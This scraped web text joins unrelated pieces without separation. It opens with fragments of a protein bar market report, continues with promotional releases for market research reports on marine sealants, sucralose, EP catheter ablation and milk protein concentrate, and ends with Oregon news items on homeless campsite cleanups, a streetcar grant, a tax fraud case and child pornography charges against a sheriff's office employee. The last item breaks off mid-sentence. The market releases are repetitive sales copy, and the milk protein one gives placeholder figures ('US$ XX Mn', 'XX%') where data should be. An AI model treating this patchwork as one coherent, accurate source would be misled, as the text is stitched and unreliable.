BountyMusclePharmLenny & Larry'sQuest NutritionClif Bar & CompanyCaveman FoodsBioNutritionalMarket Size Split by TypeLow Protein (0-15g)Medium Protein (16g-25g)High Protein (Above 25g)Market Size Split by ApplicationSupermarkets and HypermarketsConvenience StoresSpecialist RetailersOnline StoresOtherMarket size split by RegionNorth AmericaUnited StatesCanadaMexicoAsia-PacificChinaIndiaJapanSouth KoreaAustraliaIndonesiaSingaporeMalaysiaPhilippinesThailandVietnamEuropeGermanyFranceUKItalySpainRussiaCentral & South AmericaBrazilRest of Central & South AmericaMiddle East & AfricaGCC CountriesTurkeyEgyptSouth AfricaBrowse Full Report with TOC@Table of Contents1 Study Coverage1.1 Protein Bar Product1.2 Key Market Segments1.3 Key Manufacturers Covered1.4 Market by Type1.4.1 Global Protein Bar Market Size Growth Rate by Type1.4.2 Low Protein (0-15g)1.4.3 Medium Protein (16g-25g)1.4.4 High Protein (Above 25g)1.5 Market by Application1.5.1 Global Protein Bar Market Size Growth Rate by Application1.5.2 Supermarkets and Hypermarkets1.5.3 Convenience Stores1.5.4 Specialist Retailers1.5.5 Online Stores1.5.6 Other1.6 Study Objectives1.7 Years Considered2 Executive Summary2.1 Global Protein Bar Market Size2.1.1 Global Protein Bar Revenue 2016-20252.1.2 Global Protein Bar Sales 2016-20252.2 Protein Bar Growth Rate by Regions2.2.1 Global Protein Bar Sales by Regions2.2.2 Global Protein Bar Revenue by Regions3 Breakdown Data by Manufacturers3.1 Protein Bar Sales by Manufacturers3.1.1 Protein Bar Sales by Manufacturers3.1.2 Protein Bar Sales Market Share by Manufacturers3.1.3 Global Protein Bar Market Concentration Ratio (CR5 and HHI)3.2 Protein Bar Revenue by Manufacturers3.2.1 Protein Bar Revenue by Manufacturers (2016-2018)3.2.2 Protein Bar Revenue Share by Manufacturers (2016-2018)3.3 Protein Bar Price by Manufacturers3.4 Protein Bar Manufacturing Base Distribution, Product Types3.4.1 Protein Bar Manufacturers Manufacturing Base Distribution, Headquarters3.4.2 Manufacturers Protein Bar Product Category3.4.3 Date of International Manufacturers Enter into Protein Bar Market3.5 Manufacturers Mergers & Acquisitions, Expansion PlansContinued. @@About Market Research HubMarket Research Hub (MRH) is a next-generation reseller of research reports of different sector like Food market research and analysis. MRHs expansive collection of industry reports has been carefully curated to help key personnel and decision makers across industry verticals to clearly visualize their operating environment and take strategic steps.MRH functions as an integrated platform for the following products and services: Objective and sound market forecasts, qualitative and quantitative analysis, incisive insight into defining industry trends, and market share estimates. Our reputation lies in delivering value and world-class capabilities to our clients.Contact Us90 State Street,Albany, NY 12207,United StatesToll Free: 800-998-4852 (US-Canada)Email: press@marketresearchhub.com Marine Sealants Market Analysis Highlighting Opportunities and Development Status during 2018-2025 | Key Players are Dow Corning, Henkel, 3M Company, Bostik, Sika, SABA, Adshead Ratcliffe & Co Ltd Marine Sealants Market https://www.inforgrowth.com/samplerequest/r/447480/global-marine-sealants-market-research-report- https://www.inforgrowth.com/requestdiscount/r/447480/global-marine-sealants-market-research-report- https://www.inforgrowth.com/enquiry/r/447480/global-marine-sealants-market-research-report- The report titled Global Marine Sealants Market throws light on the crucial trends and dynamics impacting the development of the market, including the restraints, drivers, and opportunities. A number of analysis tools such as Porters five forces analysis and SWOT analysis have been employed to provide an accurate understanding of this market. The detail segmentation of the market along with the key players operating in the market are mentioned in the report.Get Sample Copy of this Report @Top Key Vendors in Market:Dow Corning, Henkel, 3M Company, Bostik, Sika, SABA, Adshead Ratcliffe & Co LtdThe research lists key organizations operating inside the worldwide market and additionally highlights the key changing trends adopted via the businesses to maintain their dominance. The major strategies followed by the established players for a better penetration in the worldwide Marine Sealants market additionally forms a key segment of this study. The business overview and financial overview of each of the companies have been analyzed.Get Up to 50% Discount:Also, this study is been carried out in all the major parts of regions of the world and information is been given considering a forecast period of 2018 to 2025 respectively. The Marine Sealants Market based on regional classification is studied for North America, Europe, Asia-Pacific, Latin America, and Middle East and Africa markets. The questions like why the particular region leads on this particular market, which elements are driving this market, what are major opportunities and plenty of such are mentioned in detail.The report further explains the detailed segmentation of the Marine Sealants market. Valuable data and information related to the key segments have been established via this market research report. The revenue share coupled with insightful forecasts for the major segments and the other significant sub-segments is detailed via this report. Thus, the report presents a widespread synopsis of market based factors that are expected to have a substantial and determinate influence on the markets growth prospects over the forecast period.For more Information:Table of Content:1 Marine Sealants Market Overview2 Global Marine Sealants Market Competition by Manufacturers3 Global Marine Sealants Capacity, Production, Revenue (Value) by Region (2013-2018)4 Global Marine Sealants Supply (Production), Consumption, Export, Import by Region (2013-2018)5 Global Marine Sealants Production, Revenue (Value), Price Trend by Type6 Global Marine Sealants Market Analysis by Application7 Global Marine Sealants Manufacturers Profiles/Analysis8 Marine Sealants Manufacturing Cost Analysis9 Industrial Chain, Sourcing Strategy and Downstream Buyers10 Marketing Strategy Analysis, Distributors/Traders11 Market Effect Factors Analysis12 Global Marine Sealants Market Forecast (2018-2025)13 Research Findings and Conclusion14 AppendixAbout InForGrowth:We are a market-intelligence company formed with the objective of providing clients access to the most relevant and accurate research content for their growth needs. At InForGrowth, we understand Research requirements and help a client in taking informed business critical decisions. Given the complexities and interdependencies of market-intelligence, there is always more than one source to explore and arrive at the right answer. Through our smart search feature and our reliable & trusted publishing partners, we are paving way for a more simplified and relevant research.For all your Research needs, reach out to us at:Address: 6400 Village Pkwy suite # 104, Dublin, CA 94568, USAContact Person: NikitaEmail: sales@inforgrowth.comUS: +1-909-329-2808UK: +44 (203) 743 1890 Global Sucralose Market - JK Sucralose Inc, Bioplus Life Sciences, Nantong Changhai Food Additive Co. Ltd, Unitech Sweet (Zibo) Ltd, Xiamen Boao Technology, Ji'an New Trend Technology Co., Ltd https://www.kdmarketinsights.com/sample/148 https://www.kdmarketinsights.com/product/sucralose-market-2017 https://www.kdmarketinsights.com/discount/148 www.kdmarketinsights.com A fresh research report presented by KD Market Insights provides a detailed analysis of Global Sucralose Market Size, Trends, Opportunity and Forecast to 2023 research report will include all the major trends and technologies that play an important role in market growth in the predicted span of 6 years. It also presents the overview of industry players, advantages, challenges the business is going through. The research provides a complete understanding of the Global Sucralose Market in terms of revenue.Report start from the market overview section which demonstrates the market drivers, restraints and opportunities that influence the current and future status of the market. It also includes key trends, implementation restraints, end-user product issues and many more. These factors are responsible for changing the market scenario. The deep analysis of each segment in the report is provided in order to provide a thorough understanding of the overall scenario in the Sucralose Market. The report covers the competitors strategies that help them to capture the market.The global sucralose market is anticipated to flourish at a CAGR of 9.1% during the forecast period i.e. 2018-2023. Increasing concern among people regarding excessive sugar consumption is presenting the opportunities for the growth of sucralose market. Apart from this, growing utilization in food & beverage industry and demand for no calories sucralose is anticipated to fuel the growth of the sucralose market during the forecast period.(20 % off For December 2018) Request for Sample @The global Sucralose Market has been segmented By Application, By End Use Industry, and geography. By Application, the market is sub-segmented as Confectionary, Beverage, Diary Products, Frozen Foods Others. On the basis of the End Use Industry, the market is divided Food Industry, Beverage Industry, Pharmaceutical Industry, Others. The report shows an analysis of every area that is directly or indirectly related to this study.The report highlights information that is required to understand the innovation and development in the Sucralose Market, and the growing nature of each and every segment from time to time. It provides information related to the companys financial position, day to day expenses, recent innovative development in the product. Also, the report shows the impact of the new plans, policies, and strategies adopted by the company. The Porter's Five Forces is a tool for analyzing the five forces in the economy that are buyers bargaining power, suppliers bargaining power, the threat of new entrants, the threat of substitutes, and degree of competition available in the market. It helps to determine the competitive intensity and the attractiveness of an industry in terms of profitability. The political, social, economic, demographical, technological factors have been considered while analyzing the market. It helps the company to determine the demand of the product from a particular region and the constraint that act as a hurdle in the growth of the company.The report shows the competition level faced in the market by the company and the recent development in the market launched by the rivals. It helps them to analyze the market clearly and help the company to maintain the framework in which they have to work in the growing competition. The main competitors of the industry are - JK Sucralose Inc, Bioplus Life Sciences, Nantong Changhai Food Additive Co. Ltd, Unitech Sweet (Zibo) Ltd, Xiamen Boao Technology, Ji'an New Trend Technology Co., Ltd, Jiangsu Jubang Pharmaceutical Co., Ltd, Vitasweet co. ltd, L&P Food Ingredient Co., Ltd, Jiangxi Bentian Food Technology Co., Ltd, Hubei Yitai Pharmaceutical Co., Ltd, Other Major & Niche Players.While analyzing the market every segment of the market is considered concisely from time to time to understand the geographical distribution of the product and the demand from that particular region and the insights responsible for all the factors. By geography the market is divided into North America, The U.S., Canada, Rest of North America, Europe, Germany, The U.K., France, Rest of Europe, Asia Pacific (APAC), China, India, Japan, Australia, Rest of APAC, Middle East & Africa (MEA), GCC, South Africa, Rest of MEA, South America (Brazil &Rest of South America).The final section of the report highlights the data collected for the report. A perfect combination of the primary, as well as secondary research has been made to collect the facts and figures regarding the product and the market. Secondary research sources are annual reports of the company to understand the financial position of the company, third-party report, customers review towards the product, statistical databases, government publications, company's shareholder's reviews, regulatory database have been considered. Whereas the primary research includes telephonic interviews, e-mail conversations, face-to-face interviews. Primary research is a time-consuming process and they are not considered as reliable as a comparison to the second method. Hence, secondary research is a reliable one and helps to develop the analysis team expert and market understanding.Browse Full Report With TOC@Table of Contents:Research MethodologyMarket Definition and List of Abbreviations1. Executive Summary2. Growth Drivers & Issues in Global Sucralose Market3. Global Sucralose Market Trends4. Opportunities in Global Sucralose Market5. Recent Industry Activities, 20176. Porter's Five Forces Analysis7. Market Value Chain and Supply Chain Analysis8. Global Sucralose Market Size (USD Million), Growth Analysis and Forecast, (2017-2023)9. Global Sucralose Market Segmentation Analysis, By Application9.1. Introduction9.2. Market Attractiveness, By Application9.3. BPS Analysis, By Application9.4. Confectionary Market Size & Forecast (USD Million), 2017-20239.5. Beverage Market Size & Forecast (USD Million), 2017-20239.6. Diary Products Market Size & Forecast (USD Million), 2017-20239.7. Frozen Foods Market Size & Forecast (USD Million), 2017-20239.8. Others Market Size & Forecast (USD Million), 2017-202310. Global Sucralose Market Segmentation Analysis, By End Use Industry10.1. Introduction10.2. Market Attractiveness, By End Use Industry10.3. BPS Analysis, By End Use Industry10.4. Food Industry Market Size & Forecast (USD Million), 2017-202310.5. Beverage Industry Market Size & Forecast (USD Million), 2017-202310.6. Pharmaceutical Industry Market Size & Forecast (USD Million), 2017-202310.7. Others Market Size & Forecast (USD Million), 2017-202311. Geographical Analysis11.1. Introduction11.2. North America Market Size (USD Million), 2017-202311.2.1. By Application11.2.1.1. Introduction11.2.1.2. Market Attractiveness, By Application11.2.1.3. BPS Analysis, By Application11.2.1.4. Confectionary Market Size & Forecast (USD Million), 2017-202311.2.1.5. Beverage Market Size & Forecast (USD Million), 2017-202311.2.1.6. Diary Products Market Size & Forecast (USD Million), 2017-202311.2.1.7. Frozen Foods Market Size & Forecast (USD Million), 2017-202311.2.1.8. Others Market Size & Forecast (USD Million), 2017-202311.2.2. By End Use Industry11.2.2.1. Introduction11.2.2.2. Market Attractiveness, By End Use Industry11.2.2.3. BPS Analysis, By End Use Industry11.2.2.4. Food Industry Market Size & Forecast (USD Million), 2017-202311.2.2.5. Beverage Industry Market Size & Forecast (USD Million), 2017-202311.2.2.6. Pharmaceutical Industry Market Size & Forecast (USD Million), 2017-202311.2.2.7. Others Market Size & Forecast (USD Million), 2017-202311.2.3. By Country11.2.3.1. Market Attractiveness, By End-user11.2.3.2. BPS Analysis, By End-User11.2.3.3. U.S. Market Size (USD Million), 2017-202311.2.3.4. Canada Market Size (USD Million), 2017-202311.3. Europe Market Size (USD Million), 2017-202311.3.1. By Application11.3.1.1. Introduction11.3.1.2. Market Attractiveness, By Application11.3.1.3. BPS Analysis, By Application11.3.1.4. Confectionary Market Size & Forecast (USD Million), 2017-202311.3.1.5. Beverage Market Size & Forecast (USD Million), 2017-202311.3.1.6. Diary Products Market Size & Forecast (USD Million), 2017-202311.3.1.7. Frozen Foods Market Size & Forecast (USD Million), 2017-202311.3.1.8. Others Market Size & Forecast (USD Million), 2017-202311.3.2. By End Use Industry11.3.2.1. Introduction11.3.2.2. Market Attractiveness, By End Use Industry11.3.2.3. BPS Analysis, By End Use Industry11.3.2.4. Food Industry Market Size & Forecast (USD Million), 2017-202311.3.2.5. Beverage Industry Market Size & Forecast (USD Million), 2017-202311.3.2.6. Pharmaceutical Industry Market Size & Forecast (USD Million), 2017-202311.3.2.7. Others Market Size & Forecast (USD Million), 2017-202311.3.3. By Country11.3.3.1. Market Attractiveness, By Country11.3.3.2. BPS Analysis, By Country11.3.3.3. Germany Market Size (USD Million), 2017-202311.3.3.4. United Kingdom Market Size (USD Million), 2017-202311.3.3.5. France Market Size (USD Million), 2017-202311.3.3.6. Italy Market Size (USD Million), 2017-202311.3.3.7. Spain Market Size (USD Million), 2017-202311.3.3.8. Russia Market Size (USD Million), 2017-202311.3.3.9. Rest of Europe Market Size (USD Million), 2017-202311.4. Asia Pacific Market Size (USD Million), 2017-202311.4.1. By Application11.4.1.1. Introduction11.4.1.2. Market Attractiveness, By Application11.4.1.3. BPS Analysis, By Application11.4.1.4. Confectionary Market Size & Forecast (USD Million), 2017-202311.4.1.5. Beverage Market Size & Forecast (USD Million), 2017-202311.4.1.6. Diary Products Market Size & Forecast (USD Million), 2017-202311.4.1.7. Frozen Foods Market Size & Forecast (USD Million), 2017-202311.4.1.8. Others Market Size & Forecast (USD Million), 2017-202311.4.2. By End Use Industry11.4.2.1. Introduction11.4.2.2. Market Attractiveness, By End Use Industry11.4.2.3. BPS Analysis, By End Use Industry11.4.2.4. Food Industry Market Size & Forecast (USD Million), 2017-202311.4.2.5. Beverage Industry Market Size & Forecast (USD Million), 2017-202311.4.2.6. Pharmaceutical Industry Market Size & Forecast (USD Million), 2017-202311.4.2.7. Others Market Size & Forecast (USD Million), 2017-202311.4.3. By Country11.4.3.1. Market Attractiveness, By Country11.4.3.2. BPS Analysis, By Country11.4.3.3. China Market Size (USD Million), 2017-202311.4.3.4. India Market Size (USD Million), 2017-202311.4.3.5. Japan Market Size (USD Million), 2017-202311.4.3.6. South Korea Market Size (USD Million), 2017-202311.4.3.7. Indonesia Market Size (USD Million), 2017-202311.4.3.8. Taiwan Market Size (USD Million), 2017-202311.4.3.9. Australia Market Size (USD Million), 2017-202311.4.3.10. New Zealand Market Size (USD Million), 2017-202311.4.3.11. Rest of Asia Pacific Market Size (USD Million), 2017-2023Continue@.....(20 % off For December 2018) Check For Discount@About KD Market InsightsKD Market Insights has come with the idea of helping business by intelligent decision making and thorough understanding of the industry. We offer a comprehensive database of syndicated research, customized reports as well as consulting services to help a business grow in their respective domain. At KD Market Insights, we offer our client a deep market research reports accompanied by business consulting services that can help them to reach on top of the corporate world. Our customized reports are built by keeping all factors of the industry in mind.Contact Us150 State Street, 3rd Floor,Albany, New YorkUnited States (12207)Telephone: +1-518-300-1215Email: - sales@kdmarketinsights.comWebsite: - EP Catheter Ablation Market 2024 | Boston Scientific Corporation, Hansen Medical, Inc., Lepu Medical Tech Co. Ltd, https://www.researchreportinsights.com/report/upsample/120124581/EP-Catheter-Ablation-Market https://www.researchreportinsights.com/report/TOC/120124581/EP-Catheter-Ablation-Market https://www.researchreportinsights.com/report/upcomming/120124581/EP-Catheter-Ablation-Market https://www.researchreportinsights.com/ This research report named EP Catheter Ablation Markethas recently been apprehended by Research Report Insights in its repository. The research study provide perceptive estimates on how demand of the EP catheter will increase in coming year. The study offers also provide the analysis of the market at the global and regional level along with its expansion. The report also feature the leading manufacturer of worldwide Market for EP catheter ablation market with the help of the players operating for medical device. An accurate data and statistics are provided for the manufacturer to develop new strategies to gain success at the global level in near future. EP Catheter ablation market report has provided the restraints, drivers and opportunity for the new entrants to plan key strategies to make their presence in this market and the existing one to expand their business. The strategies and key trends will help the reader to understand the present nature and future status of global market for EP catheter ablation. Compound Annual Growth Rate, Y-o-Y growth rate and estimates has been identified in US$.EP Catheter Ablation Market: Major Highlights of ReportThe research publication comprises with relevant information obtained from the interview of the companys representatives and finding important statistics from the reliable source of database. The essential feature of the report include a segmental assessment ofthe international EP catheter ablation market across the world and competitive assessment. The report offers overview of the EP catheter market around the world. The report also deliverers a basic description for EP Catheter ablation along with the formal introduction about this market.Request For Report Sample:The report offers analysis of the life cycle of the product, pricing structure, supply chain and medical regulations. The report throws light on the current merger and acquisitions, list of distributors and medical regulations. In addition of that the report also highlights the PESTLE analysis along with the competitive tracing are comprised in the study. The Intensity map provide a complete analysis of the market contributors at the global and regional level.EP Catheter Ablation Market: Segmental Analysis and Regional OverviewThe report segments global market for EP catheter ablation into end use, disease indication, regions and product.Based on end use, the report segregates EP catheter ablation market into specialty clinics, ambulatory surgical centers and hospitals. On account of disease indication, the study categorizes global market for EP catheter ablation into tachycardia,flutter andatrial fibrillation, cardiac arrhythmia and other indications. According to region, the research report bifurcates the worldwide EP catheter ablation into Asia-Pacific excluding Japan, MEA, Latin America, North America and EuropeRequest Report For Toc:Account of product, the study divides EP catheter ablation market into radiofrequency ablation catheters, navigational advanced mapping accessories, cryoablation electrophysiology catheters, microwave ablation (MWA) systems and radiofrequency ablation catheters. Moreover, the research report showcases the market attractiveness index for the readers to make them understand the competitive scenario around the worldwide along with the key findings discussed.EP Catheter Ablation Market: Competitive TrackingThis important section of the report is completely devoted to the competitive analysis of EP catheter ablation market. The report study categorizes the top manufacturer in EP catheter ablation market on following parameters such as recent development in the market, SWOT analysis, financial overview, product portfolios, and overview of the companies. Key companies in EP catheter ablation market is profiled in the research report such as CardioFocusInc, Boston Scientific Corporation, Hansen Medical, Inc., Lepu Medical Tech Co. Ltd, Johnson & Johnson, MicroPort Scientific Corporation, Medtronic Plc., Abbott Laboratories Inc. and BIOTRONIK SE & Co. KG.Report Analysis:About Us:Research Report Insights (RRI) is a leading market intelligence and consulting firm. We deliver a host of services including custom research reports, syndicated research reports, and consulting services which are personalised in nature. RRI delivers a complete packaged solution to clients; this combines current market intelligence, technology inputs, statistical anecdotes, valuable growth insights, 360-degree view of the competitive framework, and anticipated market trends.Contact Us:Research Report Insights (RRI)42 Joseph StreetPort carling P0B 1J0Muskoka, Ontario1Phone - +1-631-721-4201Website:Email: sales@researchreportinsights.com Milk Protein Concentrate Market 2024 | Erie Foods Inc., Theo Muller, Sole Mizo, Dairiconcepts, Darigolds, Devondale Murray Goulburn Co-Operative, Laita Group, Grassland, Idaho Milk, Milk Specialties Inc https://www.researchreportinsights.com/report/upsample/120124591/Milk-Protein-Concentrate-Market https://www.researchreportinsights.com/report/TOC/120124591/Milk-Protein-Concentrate-Market https://www.researchreportinsights.com/report/upcomming/120124591/Milk-Protein-Concentrate-Market https://www.researchreportinsights.com/ Milk protein concentrate is a highly concentrated milk ingredient enriched with milk proteins. Widely available in powdered form, milk protein concentrate has lower lactose content that makes it ideal for dietary consumption. The most common products containing milk protein concentrate are cheese, yogurts, and soups. However, the proportion of milk protein concentrate in various products differ on the basis of their protein content requirement. Milk protein concentrates with high protein content are widely applicable in dietary foods and beverages.Fueled by a wide range of end-user applications, the global milk protein concentrate market recorded the revenues worth US$ XX Mn in 2017. Up from US$ XX Mn estimated in 2017, the market is likely to reach beyond US$ XX Mn by the end of 2024. Over the six-year forecast period 2017-2024, the global market for milk protein concentrate will witness a CAGR of XX%; several trends and opportunities will continue to boost the revenue sales throughout the aforementioned period.Request For Report Sample:Global Milk Protein Concentrate Market: Drivers and RestraintsBesides major application in cheese and yogurts, milk protein concentrate will gain remarkable traction in dietary foods and beverages sector. With substantial consumption by frozen food, infant formula, and bakery and confectionary sectors, the market revenues are expected to elevate during the forecast period. Rising health conscious consumer population will also impact heavily on the demand for protein milk concentrate in near future. Increasing awareness about consuming high-protein-low-calorie diet is anticipated to be an influential trend among consumer, which will eventually benefit the sales of milk protein concentrate-based products. Growing popularity, availability, and preference for sports diet is expected to play a key role in bolstering the market for milk protein concentrate and derived products.However, lack of awareness about the significance and availability of food and beverage products based on milk protein concentrate, especially among developing countries, will continue to pose a long-term challenge to rapid market penetration.Global Milk Protein Concentrate Market: Segment AnalysisThe global milk protein concentrate market is segmented on the basis of application. The key application segments include nutritional beverages, infant formula, dietary products, frozen food, yogurts, and bakery and confectionary. Nutritional beverages segment is likely to hold dominance, attributed to a host of health benefits associated with the nutritional beverage consumption. Dietary supplements segment, followed by the infant formula segment, will experience the fastest growth over the forecast period. This growth is due to exploding infant population observed since the past few years.Request Report For Toc:Global Milk Protein Concentrate Market: Regional OutlookOn the basis of regional analysis, the global milk protein concentrate market is segmented into North America, Latin America, Eastern Europe, Western Europe, Asia-Pacific excluding Japan, Middle East and Africa, and Japan. North America will retain dominance, led by the U.S. The second largest market will possibly be Europe and Asia Pacific will register a significant CAGR over the forecast period. Growth in APAC is primarily due to rising population in China and India, coupled with growing preference for nutritious food products among consumers in emerging economies.Global Milk Protein Concentrate Market: Key PlayersFonterra Co-Operative Group, Arla Foods Ingredients Group P/S Ltd., Glanbia Nutritionals, FrieslandCampina, and Lactalis Ingredients Ingredion Incorporated are a few of the key players operating in the global milk protein concentrate market. Other notable companies profiled in the report, include Erie Foods Inc., Theo Muller, Sole Mizo, Dairiconcepts, Darigolds, Devondale Murray Goulburn Co-Operative, Laita Group, Grassland, Idaho Milk, Milk Specialties Inc., Tatura Milk Ind, United Dairymen of Arizona, and Westland Milk Products. In order to meet evolving consumer needs, a majority of leading companies are focusing on enhancing their product portfolio.Report Analysis:About Us:Research Report Insights (RRI) is a leading market intelligence and consulting firm. We deliver a host of services including custom research reports, syndicated research reports, and consulting services which are personalised in nature. RRI delivers a complete packaged solution to clients; this combines current market intelligence, technology inputs, statistical anecdotes, valuable growth insights, 360-degree view of the competitive framework, and anticipated market trends.Contact Us:Research Report Insights (RRI)42 Joseph StreetPort carling P0B 1J0Muskoka, Ontario1Phone - +1-631-721-4201Website:Email: sales@researchreportinsights.com After more than two years of frustration from people who live in houses and in tents along interstate corridors, the city of Portland will take over campsite cleanup duties from the state transportation department. Residents were baffled over whom to contact about trash, needles and other issues they saw along multi-use paths and sidewalks that run along highways. The city had no jurisdiction to clean up homeless camps, and the Oregon Department of Transportation was hard to get ahold of and slow to act, residents complained. Meanwhile, homeless people who wanted an out-of-the-way spot to stay for a few nights said that they were never referred to social services and often didnt know whose cleanup schedule they would be rousted by. Wednesday, the Portland City Council unanimously approved an agreement with the department of transportation to use the citys One Point of Contact system to field complaints and prioritize them for cleanup on the citys schedule. The partnership also brings a change in the schedule. Campsites will be notified that contracted crews will come to bag garbage and move tents at least 48 hours prior. That is a compromise between the citys 24-hour posting minimum and the states 10-day notice. The city also says it tries to connect people who need housing assistance and other services with nonprofit providers. The Oregon Department of Transportation does not, and says its staff cannot, do the same. Officials are hopeful that the agreement will reduce consternation from neighbors who live in areas with significant camps. Almost half of the 2,845 complaints from summer 2017 to 2018 about trash, drugs and homeless people in Lents were located on state property. The bike and pedestrian path that runs along Interstate 205 was sought as a refuge by many people living outside after the Springwater Corridor was swept. The department of transportation cleans these corridors on a set rotation, which meant that those complaints wouldnt be addressed for months at a time. It also caused neighbors to flood city and state officials with emails about the conditions on the trail. While the department of transportation has stepped up its cleanups in recent years, the agency has also been the source of bureaucratic confusion. According to city documents, Portland Public Schools officials appealed to the city to intervene near Tubman Middle School, where the state owns property along the west end of the school and Interstate 5. Tent campers blocked the way of maintenance crews trying to work in the area. But the transportation department refused to change its cleaning rotation, leaving both the city and the school district to wait, according to the city. These types of incidents led city staff to appeal to the state agency to provide consistency in how cleanups are done. Under the citys system, complaints are logged with One Point of Contact and are entered into a database. Nonprofit Central City Concern employs many formerly homeless people through its Clean Start program. These crews are dispatched to evaluate which sites in the database need to be cleaned and in what order. Lucas Hillier, who oversees the citys campsite cleanup process, said that the Clean Start employees also bring handwarmers in the winter and water in the summer, as well as pass out trash bags and talk to campers. The city then posts paper notifications at the sites. Cleaning teams, sometimes with the help of police, then remove all garbage, encourage campers to leave the area and store all personal property that is left behind. The process is controversial among homeless people and advocates who say that is causes unnecessary disruption to peoples lives and causes vital gear -- such as sleeping bags, tents and IDs -- to be lost. But Portland Mayor Ted Wheeler on Wednesday said that was not the question at hand. Eliminating the jurisdictional issues would at least make the process easier for both housed and unhoused people to understand and comply with. This is just one piece of a much, much bigger strategy to help solve this problem, Wheeler said. The new system will start Jan. 1, when a recently passed state law that allows the intergovernmental agreement goes into effect. Over the course of 2019, the city will gradually take over more of the state agencys duties. For the first six months, state crews will still work on state-owned land, but at the direction of city staff. The citys teams will take over all cleanups in city limits by the end of the year. The Portland Streetcar received a $1.1 million grant from the Federal Transit Administration this week to speed up plans on a proposed 2.3-mile extension through Northwest Portland as well as a separate proposal to bring the transit line to the Hollywood District in Northeast Portland. The federal government included Portland on a list of more than a dozen Transit-Oriented Development planning projects to receive grants this year. Metro, the regional government, submitted the application. The money means the transit project has already caught the federal governments eye even before a route is finalized. Portland City Council approved $370,000 this year to study the best route for the estimated $80 million extension. That work is ongoing. In a statement, Commissioner Chloe Eudaly said the grant would allow Portland to set an example for the nation in reducing carbon emissions as we grow our economy and address the housing crisis. While the precise Northwest streetcar route isnt finalized, it is expected to jut north from the existing streetcar line along Northwest 18th and 19th Avenues before heading west on York and Wilson streets. The line, which appears on Metros long-range transportation project list, would run through the 22-acre industrial ESCO site recently sold to a Scottish company. The streetcar would terminate at Montgomery Park and run in a loop. Long-range plans also include studying a streetcar expansion into the Hollywood District in Northeast Portland, that $70 million plan is also in Metros Regional Transportation Plan. Andrew Plambeck, Portland Streetcar spokesman, said the Montgomery Park route was a work in progress but the grant money will allow the city and streetcar to dive into planning on the other side of the Willamette River as well. That will allow the citys Bureau of Planning and Sustainability to look at potential zoning changes through the Northwest territory as well as the Hollywood District. Planners will also look at traffic impacts. The eastside is a lot more of an open question, Plambeck said of the route. The federal government awarded $16.6 million in grants to 20 projects across the country. -- Andrew Theen atheen@oregonian.com 503-294-4026 @andrewtheen A federal judge on Wednesday ordered a retired lawyer to spend the next two weeks in jail for ducking a summons to appear in court last month on a tax fraud indictment. The detention isnt only unusual because the defendant is a lawyer, but its rare at the outset of a nonviolent, white-collar criminal case, said Assistant U.S. Attorney Seth Uram. But Bruce L. Lamon, 64, who retired in Oregon after working for nearly three decades as a tax litigator for a firm in Hawaii, went off the grid for the last six weeks and had to be located by federal agents through a GPS tracker obtained for his cellphone, Uram said. Federal IRS agents were waiting for him and took him into custody Tuesday afternoon as Lamon returned a car to Budget Rent-a-Car in Beaverton, according to the prosecutor. He was booked into the Multnomah Countys Inverness Jail at 2:51 p.m. Tuesday. On Wednesday morning, Lamon, wearing blue jail scrubs, sat beside his court-appointed lawyer, Ruben Iniguez, and appeared before U.S. Magistrate Judge John V. Acosta for a hearing to review his detention. It is a tax evasion charge against someone who practiced many years as a lawyer and should have respect for the court and its processes, Acosta said. Why should I let him out at all? Iniguez said Lamon didnt have a prior criminal record. He noted that the tax allegation is a nonviolent offense. Iniguez also asked the court to take into account his clients age. Hes 64, the defense lawyer said. And Im 62,'' the judge interjected. "How does that count for anything? Lamon wasnt sure that the summons, slipped under a garage door, had been served properly, his lawyer continued. The judge wasnt buying it. If you get a summons from federal court, you know theres something serious you need to deal with. If, as a lawyer, you believe its not served properly, then the thing to do is challenge the manner of service, and not to run and hide, Acosta said. He knows better, the judge added. This is a guy who practiced law in a law firm for over 30 years. Lamon sat beside his lawyer, looking down at the defense table. Iniguez recommended Lamon be released to live at his ex-wifes home in Hillsboro with GPS monitoring and a curfew and ordered to surrender his passport. Some people, lawyers too, sometimes make poor choices, Iniguez told the court. This was a bad choice. The prosecutor argued that Lamon never intended to turn himself in and had even tried to thwart his detection through cellphone pings by barely using the phone unless to make brief outgoing calls. In addition to the court summons left at the home of Lamons ex-wife on Oct. 22, Uram said he sent Lamon copies of the summons by certified mail to his ex-wifes Hillsboro home and another Hillsboro address tied to Lamon. When federal investigators went to interview his ex-wife after he failed to show for court on Nov. 7, she told them that Lamon refused to tell her his location to protect her, according to a federal affidavit. She also said Lamon told her he was going off line to work on his case and win it, the affidavit says. His ex-wife said she calls Lamon by the nickname Abraham Lincoln and described Lamon as a mountain man who could be camping in a national forest anywhere between Portland and the coast, IRS Special Agent Jason Nix wrote in the affidavit. Uram argued against releasing Lamon to his ex-wife, suggesting that she helped him cover up his location. There has to be consequences for your conduct, the judge told Lamon. Acosta ordered him to remain in custody for two weeks. After that, he can return to court and the judge will evaluate whether theres an acceptable release plan, with the most restrictive terms, to ensure Lamon returns to court. Lamon, who moved to Oregon in 2012, is accused of evading $744,000 in personal income taxes. A two-count indictment alleges he failed to pay taxes from 2008 through 2013 and hid rental property income and car purchases. Hes also accused of making a false statement on a court document in May 2016 in an application claiming he was indigent in a civil case he filed against the National Transportation Safety Board. Lamon worked in commercial litigation at Goodsill Anderson Quinn & Stifel in Honolulu from 2006 through 2012, when he retired and moved to Hillsboro, according to court records. -- Maxine Bernstein Email at mbernstein@oregonian.com Follow on Twitter @maxoregonian Luke De Roy Krieger, a civilian employee with the Washington County Sheriffs Office, is accused of distributing child pornography online while at work and enticing a minor online for sex in a case that was initiated by British police. Krieger, 39, an information systems analyst, made his first appearance Wednesday in federal court in Portland after his arrest the day before. His court-appointed lawyer, Bryan Francesconi, entered not guilty pleas to the allegations on Kriegers behalf. Krieger was placed on unpaid administrative leave after his arrest. "The Sheriffs Office has been fully cooperating with the involved agencies to ensure a thorough investigation,'' Washington County Sheriff Pat Garrett said in a statement. "While our criminal justice system is based on the presumption of innocence, Im repulsed by the charges.'' In August, undercover investigators from the United Kingdom Police Eastern Regional Special Operations Unit contacted federal agents with U.S.Homeland Security Investigations to help identify a person who had engaged them on a mobile app, expressing his sexual interest in children as young as newborns, according to a federal complaint unsealed Wednesday. Investigators traced the users IP address to Krieger, who lives in Camas, but found it was accessed from a business internet account registered to the Sheriffs Office in Hillsboro. Further investigation revealed Krieger worked for the office. In subsequent online chats with undercover officers, Krieger revealed an interest in having sex with children as young as 5 and having sexual fantasies about children he came into contact with regularly, the complaint says. He also shared his desire to use a spy camera to take photos and videos 